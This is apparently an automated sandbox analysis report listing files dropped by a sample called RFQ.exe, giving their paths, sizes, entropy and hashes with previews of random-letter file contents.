VJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GLTYDMDUST.xlsx

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GNLQNHOLWB.xlsx

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698695541849584
Encrypted:	false
SSDEEP:	24:ZE+7+1bm31iNKty4eaTDMDURN6ZqyioAe1L:ZE+61bm0Qty41T5N6ZNLAeZ
MD5:	64E7020B0B401F75D3061A1917D99E04
SHA1:	785E09A2F76464E26CE282F41DE07D1B27FFB855
SHA-256:	9E5D6C897851C4A24A0D3BC4F9291A971550B9F1B9F9CFB86D7A2D5F12CD63B0
SHA-512:	14D18C0739A9B9097C2135DF001E31BA17772A9ED1DFC62318AD092C133F8C054E5C335354C57929137344E11AC6F0EBC5032211136D1F1B3F6DF8F1434D90E3
Malicious:	false
Preview:	GNLQNHOLWBOQVJIFTLNFGJNNXMGUZOMCUNVQXIPWIQSXJKHHVRYLBVHOHRRAZCZOOSABVUNECAWUZDTCLDYZAFJGGGUXKDFDPLZWHOYARDSHMWUJKNJPXNWQKOEVEVLWQLXKJLHTDQZQULYODUZGGIUHFXGBKGLAQBERUUCASFPJWCVSHYWEKXXBEZZVPBKVPPRGJJFXTGVBUVLUVQNAPBMPJOZNNFCDPEHNHWSMZSBAYITASRGZTGXSYUNNLKZKAVLGDGRIUVYOWINQLHMWTCZYYSGNSZQWZQNLKENKZJSDTJDSZVFQGHKVENDXCIHQVPCJNVXYVCJTKGGQJHTLGYJROSCXNGTCNNLCBSAOHAXWLQLCXTRIYCZVDEDWKBEHBEBKKXYVNQHTFFQFVFLHQRXMYLCHQAJKIRETOPSMFDVMJOROHVBDNWQMACXDCGCPKSQUIXWYXSYDPSBSUJMXEBPBCWJDOKOSFYRZQSCWEIHCQFTRYQVAUUYDVCYUHDRUKCTOGNWSTPHONXNHSHICTVCMWIDPOKQMNGFKZOADDJPTUVPEWWFNEKDLAVDZNBHHFIRSPGSQGUQUGGIRSVJTEIAUJEHUVHRJPWEMACBNRIWVFWWRDNGHYAESSKWHOCXLPYRMKQYTXSSYLKESQEPWVDSSTKTYQDQTTAUVWPQFTTJMGMEGRECDIFCMPKXTYYNGENSBDKEVPPDNRRDLULORZGHRQIQWLMHMKLKDLNSNWXWGTMDLMPWAGGPUJXOOYWOGWZTDKIVNNXMKJEFALSJECCOVZVTAPKGAXWCUMHLAHYBPLBTDXBKKPKPJFJOKZKMPEWOOMMMCZHSENRPGKEJJHHOVFETVBBFBTDTSNLGGPVPAFDOXRJUKYZTGOFQUAVOGUZJARUUCKMRYUSWZIRYUATBQRRVCNMFMMBTGSFQCAOTPTSBPCICPBMURXQOIITZCLXKSJVDGFLGHUIHTALRYCNLFILDCLQXDOGMOKPXT

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\HVLFEFMHHB.pdf

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688192278065048
Encrypted:	false
SSDEEP:	24:QpAScqpJqU2M0r6gHGZdxsLVOo2qf4I5MRduGv:QPtbqE0r4xMZ2qf4X
MD5:	E6B83E7618DE7C60467C035027CADC38
SHA1:	7A0812266C40EAF0F9C8829B49E087AD90D94E9C
SHA-256:	8391D2A7645B06DDB986C1A54E0AED11D95709A36D069D086620E8826BC3A330
SHA-512:	C36C40C23B7859FC2B2F87A8EDFEF247C68BC561BA1482C67EF5581B562A2937B1699325B94D5FEFA6C871E03FFDF15F1A3DB50E4C320FB2AD1E632E0947FDCB
Malicious:	false
Preview:	HVLFEFMHHBAZDOLLZUNPNIMHDSYDQCISTUECHUCHKIAZZFSVBOELUIHPSHSXTNSPZDGIETMGXZOYQTZRMDJQFPHHJHCMEQAMYDDSLZLLUVDYXMVXMJISSAHCKPLCLDDBZUFIHVCCXHATRPSYNOHWXWJCDWDHDDSPCXHPEIXNETRDYBQVDZCZSCETYTSJIPSGEXYYNWAPSXUGLJGMVDMSILOBIVRFUBILUJUUFFXRNCZYXSQGJHKUDBDJGZWNGLJTNJADAFVOPOEFRDJKVPITPOGUIZYBSRBAAHELWONYMPDQZRAGDWEYGIKGSEGSKLXCRIXYVYCNLFAPZDPVJDSTOJJHRBYAFVUUHUPTGDCDAPEFBLYIAHZQXIZVAXOXOWQBKLVAPOMJLDTVBONRQXSZVABHXMVKXAHVBIWXPKRGZTDKAMPDAXSWNKCNNSMKKEECAANVALIIUEAXTYSXOKCYQYYXZTEBBANDVEICJYYAJPCRNGLJYSKLTEWKKIAXTZLKICCIAOQPAOQVEJXZPIYIXVSONSXMGRCKSVBNLNAKITKHATKVOAKZESLANUYNJSIOBTYYPZRGWXHMQEGVVXXRBNEVVYRTZWBSBZXBCTWATGHIYCHGUZXZLMYYHKVDAYMGQCLNOREHTSWUSWKHGEHRJJXNCAWTDRWOVTMGLOTCFSEWPQOLOOKFURNEANRYAOHFWBHJZKWTCLPCRLHHDVHKOLGCJQPRJFRUIBVIZISBXZQXHSJNMVPMLGKPIUUWWSDCKSOOKYNCPBNMWIEHWOTNUZYEZNJPVYKEUWDEEGMHFTVODLUKMYGXMOIQNSORSIJQDOIDNLRNHVCEAJNRJTMHQTNPWKWGMSDSPCXTWTIXGFTYXSNTASOZIBWKTZVHVXHWDZNBVOJXKIZAIZOUVEGBNGHYRGUKVNBWAJQMCAZRJGMOBMXLQXXVXCKJKYVDWBTSZUJDTZUKJCTZDHHLCOTJGUSHFTFJZNKKTJVWMSES

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\PALRGUCVEH.docx

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SNIPGPPREP.docx

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701796197804446
Encrypted:	false
SSDEEP:	24:C1U2g6pCwYBq9+pGzEcrz023TZ9iFxwELi:2U2gCCm9drz0wTZsIEe
MD5:	C8350CE91F4E8E8B04269B5F3C6148DA
SHA1:	22D523A327EBAF8616488087E2DCE9DBD857F0CC
SHA-256:	1BE0B3682C4F3A3315465E66A2C7C357BB06225947C526B1B89A39D9D120AFBF
SHA-512:	C4891D35B6E895E4A9F4A785701EFFA4305AE88D09D309865F9312D95C296CB417916D8CBA461099E80F68C5AE5015A1172E60319256A453DE81445660F55806
Malicious:	false
Preview:	SNIPGPPREPVDSXKMBCQXEQRWSYOYKDGHPXSNVTYLWVPMUIXPKXDRFHMINIQBFZTPTVMTSZAWIXFLHCKJNAWKCQYMBHUKFDOIJBXXLUNVNMKEDOTTPPDLIAGSTXKJKMHVVGIGUNGKPTPDUEUVMGZRIBRMBHLZOZZIBTDOCDOASXCIFRVGCSENFOEARIYUEACCMVFPUDRRUHYQQFJBAWDGKHRWDHTGYUXKSSVSTFCVQOQGTKOBOMZZTKVYFLAXTKJMTUDSETBGCOOKYGPLGPNAFICZERONWJHOMIWLGEWSSANDAVRYRUWZSRNZFYKTMSQXLZZGTQKXVQLDKQIHEDADRTKYMYNBVWROSFBYUXYULCESFAKNPBXYOELAWZCZFAPVQWMMNLBQRIPMVDMMWGXGKDJNUJGGGBNSGWEDDLRHGAAWJCYOEMVEHAYXYEHSKMWJPPHERNLXAGENBCUAZODRTUDIOUWNPZSHJGYOVHWQKWRAGGUMLCITTLAJXOXDUPFFLAHWLWPRQRAXSKOBHTXQNNGYHHVLBOEFTHAXTLKUGTNIYSDATIJHBUFTSGQHRXQQGXCBWVJIULNMYSMFYMPXRZOWMHYMZOLIBIYHPQRQJTZOMJZHKRTSWQQVINGIZHWDLNCJKAMKHSMFOTUPQMESXHXMJSAXESVNVSKORQSXVCYCKNZKOFZFUKINTRLLEGXVQTQURFVKWLFRQZVQVBVOEMATWFLXFDJVWCYMPYCSJCUUGUCIPOPIVLEFNZCPNYAWTXOATSTYLECDEFJNQFYGVPQWTJBNAVWKGALRTACLENBODJOQDXMPOYCYEFXOOOOMCQXLRGDBUUVJNQAEBZDSPDLPFIEOXRWSFCHXDUSBTSLEDLCZPOHIMIMQZMHHTMDFUUMKUAMBYNWWRQKDEXPPDWGKCNTWTFNHBMNDQIMVNFYWGALYORHHPUAXLDHMTGOKMMTAOCOVLGFIHZLZFADWMNNCWOLNJDSGFCWVDBYK

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SNIPGPPREP.pdf

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701796197804446
Encrypted:	false
SSDEEP:	24:C1U2g6pCwYBq9+pGzEcrz023TZ9iFxwELi:2U2gCCm9drz0wTZsIEe
MD5:	C8350CE91F4E8E8B04269B5F3C6148DA
SHA1:	22D523A327EBAF8616488087E2DCE9DBD857F0CC
SHA-256:	1BE0B3682C4F3A3315465E66A2C7C357BB06225947C526B1B89A39D9D120AFBF
SHA-512:	C4891D35B6E895E4A9F4A785701EFFA4305AE88D09D309865F9312D95C296CB417916D8CBA461099E80F68C5AE5015A1172E60319256A453DE81445660F55806
Malicious:	false
Preview:	SNIPGPPREPVDSXKMBCQXEQRWSYOYKDGHPXSNVTYLWVPMUIXPKXDRFHMINIQBFZTPTVMTSZAWIXFLHCKJNAWKCQYMBHUKFDOIJBXXLUNVNMKEDOTTPPDLIAGSTXKJKMHVVGIGUNGKPTPDUEUVMGZRIBRMBHLZOZZIBTDOCDOASXCIFRVGCSENFOEARIYUEACCMVFPUDRRUHYQQFJBAWDGKHRWDHTGYUXKSSVSTFCVQOQGTKOBOMZZTKVYFLAXTKJMTUDSETBGCOOKYGPLGPNAFICZERONWJHOMIWLGEWSSANDAVRYRUWZSRNZFYKTMSQXLZZGTQKXVQLDKQIHEDADRTKYMYNBVWROSFBYUXYULCESFAKNPBXYOELAWZCZFAPVQWMMNLBQRIPMVDMMWGXGKDJNUJGGGBNSGWEDDLRHGAAWJCYOEMVEHAYXYEHSKMWJPPHERNLXAGENBCUAZODRTUDIOUWNPZSHJGYOVHWQKWRAGGUMLCITTLAJXOXDUPFFLAHWLWPRQRAXSKOBHTXQNNGYHHVLBOEFTHAXTLKUGTNIYSDATIJHBUFTSGQHRXQQGXCBWVJIULNMYSMFYMPXRZOWMHYMZOLIBIYHPQRQJTZOMJZHKRTSWQQVINGIZHWDLNCJKAMKHSMFOTUPQMESXHXMJSAXESVNVSKORQSXVCYCKNZKOFZFUKINTRLLEGXVQTQURFVKWLFRQZVQVBVOEMATWFLXFDJVWCYMPYCSJCUUGUCIPOPIVLEFNZCPNYAWTXOATSTYLECDEFJNQFYGVPQWTJBNAVWKGALRTACLENBODJOQDXMPOYCYEFXOOOOMCQXLRGDBUUVJNQAEBZDSPDLPFIEOXRWSFCHXDUSBTSLEDLCZPOHIMIMQZMHHTMDFUUMKUAMBYNWWRQKDEXPPDWGKCNTWTFNHBMNDQIMVNFYWGALYORHHPUAXLDHMTGOKMMTAOCOVLGFIHZLZFADWMNNCWOLNJDSGFCWVDBYK

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZGGKNSUKOP.pdf

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataBGmYIYec.txt

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	429
Entropy (8bit):	4.305683540422806
Encrypted:	false
SSDEEP:	6:tM3LZkLZ2Adp2Adp2Adp2Adp2Adp2Adp2Adp2Adp2Z2Z2Zx:tMdm2W2W2W2W2W2W2W2WMMMx
MD5:	C4E7A43FF06F57302A5D17960DEB5367
SHA1:	87E28DA26B77AACB26DE48101C98E570725C95D8
SHA-256:	E402E4F7D696AEF288EDDB6527A9F489410134E825FD57E7AB241B030610ED73
SHA-512:	69BA0B01A317D97734C58C9E303881DB1BB61208617B875E99BEBC2DDFAEF16C7B761D6E7EA7BE1853A0ADAE1068B01F78B016EA2FEF29BAC482376DD01E2BCD
Malicious:	false
